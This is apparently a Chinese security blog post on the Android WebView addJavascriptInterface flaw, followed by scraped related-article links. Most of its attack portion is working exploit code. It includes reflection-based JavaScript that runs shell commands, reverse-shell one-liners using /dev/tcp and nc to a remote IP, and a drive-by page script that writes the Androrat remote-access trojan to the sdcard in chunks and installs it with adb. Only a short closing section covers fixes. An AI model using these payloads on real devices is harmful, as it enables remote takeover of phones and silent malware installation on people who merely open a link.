安卓应用存在安全漏洞,浏览网站打开链接即可中招。目前有白帽子提交漏洞表明目前安卓平台上的应用普遍存在一个安全漏洞,用户打开一个链接就可导致远程安装恶意应用甚至完全控制用户手机,目前微信,手机QQ,QVOD以及各大手机浏览器均中招

0x00 背景


在android的sdk中封装了webView控件。这个控件主要用开控制的网页浏览。在程序中装载webView控件,可以设置属性(颜色,字体等)。类似PC下directUI的功能。在webView 下有一个非常特殊的接口函数addJavascriptInterface。能实现本地java和js的交互。利用addJavascriptInterface这个接口函数可实现穿透webkit控制android 本机。

0x01 检测利用


一般使用html 来设计应用页面的几乎不可避免的使用到addJavascriptInterface,包含不限于android浏览器。

在android 代码程序一般是这样使用:

1
2
3
settings.setJavaScriptEnabled(true);
settings.setJavaScriptCanOpenWindowsAutomatically(true);
mWebView.addJavascriptInterface(new JSInvokeClass(), "js2java");

这里可以用

apk->zip->dex->dex2jar->jdgui->java

代码来查找。

但建议用apktool 反编译smali(毕竟不是所有apk都能反编译成java代码)

在smali代码中 则是类似下列的代码:

const-string v0, " js2java "
invoke-virtual {p1, v1, v0},Lcom/tiantianmini/android/browser/module/ac;->addJavascriptInterface(Ljava/lang/Object;Ljava/lang/String;)V

当检测到存在上述代码时,可以进行进一步验证利用:

在11年,已经有人利用addJavascriptInterface进行文件读写,并放出简单的poc,到12年出现了简单的执行代码的exp。利用的是反射回调java类的内置静态变量。如下列的利用代码;

<script>
function execute(cmdArgs)
{
    return js2java.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}

</script>  

利用java的exec执行linux的shell命令。

0x02 远程获取shell


套用yuange的一句话:Poc远远小于exp的价值。

利用addJavascriptInterface实现shell.

Android内部的armlinux 是没有busybox 的,一些常规弹shell的方法被限制。

使用了java的反弹shell方法

//execute(["/system/bin/sh","-c","exec 5<>/dev/tcp/192.168.1.9/8088;cat <&5 | while read line; do $line 2>&5 >&5; done"]);

在Nexus One 4.3的android虚拟机 并未成功弹出shell.

后发现android中可执行 nc命令 (阉割版的不带-e的nc)

这里用了nc的另外一种弹shell的方法完成

Exp 内容:

1
2
3
4
5
6
7
8
<script>
function execute(cmdArgs)
{
return XXX.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
execute(["/system/bin/sh","-c","nc 192.168.1.9 8088|/system/bin/sh|nc 192.168.1.9 9999"]);
alert("ok3");
</script>

// 注 xxx 保护隐私用xx代指。

效果如下

当然可以用远程IP地址。

0x03 远程挂马


毕竟是android环境,shell使用不是很方便。类似xsser肯定不满足于此。

再升华下,实现网页挂马。

Android 4.1已经加入ASLR技术,堆喷射之类不再有效。UAF要针对android的内核版本。利用自身特性的漏洞是目前比较靠谱的方法。

这里以androrat远控木马为例。

实现网页挂马

大部分浏览器已经对下载文件进行保存提示。这里需要把andrat.apk写到挂马网页之中。

1
2
3
4
5
6
7
8
9
10
11
<script>
function execute(cmdArgs)
{
return xxx.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
 
var armBinary = "\x50\x4B\x03\x04\x14\x00\x08\x00\x08\x00\x51\x8F\xCA\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x13\x00\x04\x00\x72\x65\x73\x2F\x6C\x61\x79\x6F\x75\x74\x2F\x6D\x61\x69\x6E\x2E\x78\x6D\x6C\xFE\xCA\x00\x00\xAD\x52\x31\x6F\xD3\x40\x18\xFD\x2E\x76\xAE\x86\xC4\x69\x5A\x3A\x54\xA2\x12\xA9\xC4\x80\x22\x61\xE3\xAA\x42\x4D\xC7\x22\x86\x4A\x91\xA8\x14\xC4\x0A\x56\x7C\xC2\x27\x68\x1C\x39\x57\x0A\x53\x11\x3B\x63\x37\x06\xFE\x01\x33\x1B\x43\x17\x36\x56\xFE\x07\xAC\x6D\x9F\xCB\x1D\x3D\x
……
var patharm = "/data/app/Androrat.apk";
var a=execute(["/system/bin/sh","-c","echo -n +armBinary+ > " + patharm]);
execute(["chmod"," 755 ","/data/app/Androrat.apk"]);

这样存在几个问题:

andrat.apk的 hex value大约300k,浏览器或者java的exec可能对传入参数大小有限制,(测试的浏览器有限制无法执行)

/data/app/ 目录存在权限问题,需要root,chmod 也是同理。

Android这种静默安装要么是有root或者系统签名的install权限,要么是做成预装软件的样子并且重启。或者是2.2 版本左右可以 通过调用隐藏api安装。

经过进行fuzz实验,完成了挂马功能:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<script>
function execute(cmdArgs)
{
return xxx.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
 
var armBinary1 = "\x50\x4B\x03\x04\x14\x00\x08\x00\x08\x00\x51\x8F\xCA\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x13\x00\x04\x00\x72\x65\x73\x2F\x6C\x61\x79\x6F\x75\x74\x2F\x6D\x61\x69\x6E\x2E\x78\x6D\x6C\xFE\xCA\x00\x00\xAD\x52\x31\x6F\xD3\x40\x18\xFD\x2E\x76\xAE\x86\xC4\x69\x5A\x3A\x54\xA2\x12\xA9\xC4
 
var armBinary2="\x1B\xB0\x65\x0A\xAD\x23\xC2\x30\x64\xDF\xEE\xA1\x0D\xA4\xE8\x3F\x61\x80\xEE\xBC\xE1\xE7\x7B\x4A\x25\x6F\x8B\x36\x71\xC3\x80\x81\x58\xDB\xC9\x8F\x53\x9F\xEE\x8A\x45\xAF\x23\x54\x4A\xCF\x2B\x52\xF2\x33\x84\xBA\x82\x36\xC4\x0D\x08\xAF\xC2\x61\x8E\xD8\x7B\x0B\xFC\x88\x4A\x25\x24\x8C\x22\xFA\x76\x44\x78\x5E\x99\x62\x30\x44\x8D\xDB\x74\x94\
 
var armBinary3=…
var armBinary4=…
……
var patharm = "/mnt/sdcard/Androrat.apk";
var a=execute(["/system/bin/sh","-c","echo -n +armBinary1+ > " + patharm]);
//alert(a);
execute(["/system/bin/sh","-c","echo -n +armBinary2+ >> " + patharm]);
execute(["/system/bin/sh","-c","echo  -n +armBinary3+ >> " + patharm]);
execute(["/system/bin/sh","-c","echo -n +armBinary4+ >> " + patharm]);
execute(["/system/bin/sh","-c","adb install /mnt/sdcard/Androrat.apk"]);
alert("over !!!");
</script>

将androrat.apk拆分。

利用echo写入到sdcard中(此目录可读可写 不可执行)。

利用自身带的adb进行安装(安装各种xx手机助手的不在少数吧)。

Androrat 成功安装,这里使用了androrat的debug=true模式。

成功连接到控制端。

0x04 修复


1、Android 4.2 (api17)已经开始采用新的接口函数【java中应该叫方法:) 】,@JavascriptInterface  代替addjavascriptInterface, 有些android 2.3不再升级,浏览器需要兼容。

2、在使用js2java的bridge时候,需要对每个传入的参数进行验证,屏蔽攻击代码。

3、控制相关权限或者尽可能不要使用js2java的bridge。

Link:
http://developer.android.com/reference/android/webkit/WebView.html
http://developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface(java.lang.Object, java.lang.String)
http://www.cis.syr.edu/~wedu/Research/paper/webview_acsac2011.pdf
http://50.56.33.56/blog/?p=314

安卓WebView中接口隐患与手机挂马利用(远程命令执行)的更多相关文章

  1. hybird app项目实例:安卓webview中HTML5拍照图片上传

    应用的平台环境:安卓webview: 涉及的技术点: (1) <input type="file" > :在开发中,安卓webview默认点击无法调用文件选择与相机拍照 ...

  2. Java中使用Oracle的客户端 load data和sqlldr命令执行数据导入到数据库中

    Windows环境下测试代码: import java.io.BufferedReader; import java.io.File; import java.io.FileNotFoundExcep ...

  3. 在WebView中如何让JS与Java安全地互相调用

    在现在安卓应用原生开发中,为了追求开发的效率以及移植的便利性,使用WebView作为业务内容展示与交互的主要载体是个不错的折中方案.那么在这种Hybrid(混合式) App中,难免就会遇到页面JS需要 ...

  4. WebView高危接口安全检测

    高危]WebView高危接口安全检测共2处详细内容:在Android系统4.3.1~3.0版本,系统webview默认添加了searchBoxJavaBridge_接口,如果未移除该接口可能导致低版本 ...

  5. 因为手机设置字体大小导致h5页面在webview中变形的BUG

    出现这个问题,有以下因素 你的页面采用了rem单位,并且是采用js动态计算html的font-size你的页面被加在了APP中的webview中这该死的手机被重设了字体大小解决方法一般,我们动态计算好 ...

  6. 解决因为手机设置字体大小导致h5页面在webview中变形的BUG

    首先,我们做了一个H5页面,在各种手机浏览器中打开都没问题.我们采用了rem单位进行布局,通过JS来动态计算网页的视窗宽度,动态设置html的font-size,一切都比较完美. 这时候,你自信满满的 ...

  7. Android安全开发之WebView中的地雷

    Android安全开发之WebView中的地雷 0X01 About WebView 在Android开发中,经常会使用WebView来实现WEB页面的展示,在Activiry中启动自己的浏览器,或者 ...

  8. Android安全开发之WebView中的大坑

    0X01 About WebView 在Android开发中,经常会使用WebView来实现WEB页面的展示,在Activiry中启动自己的浏览器,或者简单的展示一些在线内容等.WebView功能强大 ...

  9. Redis中7种集合类型应用场景&redis常用命令

    Redis常用数据类型 Redis最为常用的数据类型主要有以下五种: String Hash List Set Sorted set 在具体描述这几种数据类型之前,我们先通过一张图了解下Redis内部 ...

随机推荐

  1. Sqli-labs less 64

    Less-64 此处的sql语句为 $sql="SELECT * FROM security.users WHERE id=(($id)) LIMIT 0,1"; 示例payloa ...

  2. Linux性能检测命令 - vmstat

    一.vmstat命令描述 最常见的Linux/Unix监控工具想必是vmstat了,vmstat是Virtual Meomory Statistics(虚拟内存统计)的缩写,可以展现给定时间间隔的服务 ...

  3. ZOJ3720 Magnet Darts(点在多边形内)

    第一道点在多边形内的判断题,一开始以为是凸的.其实题意很简单的啦,最后转化为判断一个点是否在一个多边形内. 如果只是简单的凸多边形的话,我们可以枚举每条边算下叉积就可以知道某个点是不是在范围内了.但对 ...

  4. LA 3350

    The NASA Space Center, Houston, is less than 200 miles from San Antonio, Texas (the site of the ACM ...

  5. Install WindowBuilder for Eclipse

    WindowBuilder官方下载安装说明地址:http://www.eclipse.org/windowbuilder/download.php 先祝各位能顺利安装上!以下是基于Eclipse in ...

  6. GridControl Find/Clear 添加图标

    public static void ControlFind(GridControl grid) { FindControl fControl = null; foreach (Control ite ...

  7. ResourceBundle使用

    一.认识国际化资源文件   这个类提供软件国际化的捷径.通过此类,可以使您所编写的程序可以:          轻松地本地化或翻译成不同的语言          一次处理多个语言环境          ...

  8. ExtJs之Field.Trigger和Field.Spinner

    作文本框功能的. <!DOCTYPE html> <html> <head> <title>ExtJs</title> <meta h ...

  9. [转载] poll()函数

    原地址:http://baike.baidu.com/view/2997591.htm   poll()函数:这个函数是某些Unix系统提供的用于执行与select()函数同等功能的函数,下面是这个函 ...

  10. Android异步下载图片并且缓存图片到本地

    Android异步下载图片并且缓存图片到本地 在Android开发中我们经常有这样的需求,从服务器上下载xml或者JSON类型的数据,其中包括一些图片资源,本demo模拟了这个需求,从网络上加载XML ...